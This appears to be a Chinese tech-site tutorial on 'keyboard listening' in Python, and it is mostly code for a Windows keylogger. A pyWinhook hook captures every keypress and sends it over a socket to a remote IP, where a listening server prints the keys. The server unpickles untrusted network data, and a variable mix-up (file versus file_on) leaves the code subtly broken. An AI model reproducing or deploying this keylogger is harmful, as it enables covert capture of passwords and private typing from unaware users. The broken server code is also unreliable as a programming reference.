温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

python怎么实现监听键盘

发布时间:2021-04-26 14:09:08 来源:亿速云 阅读:328 作者:小新 栏目:开发技术

小编给大家分享一下python怎么实现监听键盘,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

Python的优点有哪些

1、简单易用,与C/C++、Java、C# 等传统语言相比,Python对代码格式的要求没有那么严格;2、Python属于开源的,所有人都可以看到源代码,并且可以被移植在许多平台上使用;3、Python面向对象,能够支持面向过程编程,也支持面向对象编程;4、Python是一种解释性语言,Python写的程序不需要编译成二进制代码,可以直接从源代码运行程序;5、Python功能强大,拥有的模块众多,基本能够实现所有的常见功能。

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle from io import BytesIO import socket #接收数据 def Server_Recive(ip,port):     socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)     socket_obj.bind((ip,port))     socket_obj.listen(5)     file = 1     while True:         connection,address = socket_obj.accept()   #接受的数据         recieved_message = b''         recieved_message_fragment = connection.recv(1024)         while recieved_message_fragment:             recieved_message += recieved_message_fragment             recieved_message_fragment = connection.recv(1024)         try:             obj = pickle.loads(recieved_message)             print(obj['Key'],end=' ')         except EOFError:             file_name = 'recv_image_' + str(file_on) + '.bmp'             recv_image = open(file_name,'wb')             recv_image.write(recieved_message)             file_on += 1         connection.close() if __name__ == '__main__':     Server_IP = '0.0.0.0'     Server_Port = 6666     Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听 import pythoncom,pyWinhook,pickle,socket from io import BytesIO def Client_PIC(ip,port,obj):     try:         msg = pickle.dumps(obj)         send_message = BytesIO(msg)         send_message_fragment = send_message.read(1024)     except:         send_message = obj         send_message_fragment = send_message.read(1024)     socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)     socket_obj.connect((ip,port))     while send_message_fragment:         socket_obj.send(send_message_fragment)         send_message_fragment = send_message.read(1024)     socket_obj.close() def OnkeyBoardEvent(event):     dict_key = {}     dict_key['MessageName'] = event.MessageName     dict_key['Key'] = event.Key     Client_PIC('你自己的ip地址',6666,dict_key)     return True def Keylogger():     hm = pyWinhook.HookManager()     hm.KeyDown = OnkeyBoardEvent     hm.HookKeyboard()     pythoncom.PumpMessages() if __name__ == '__main__':     Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python怎么实现监听键盘

以上是“python怎么实现监听键盘”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI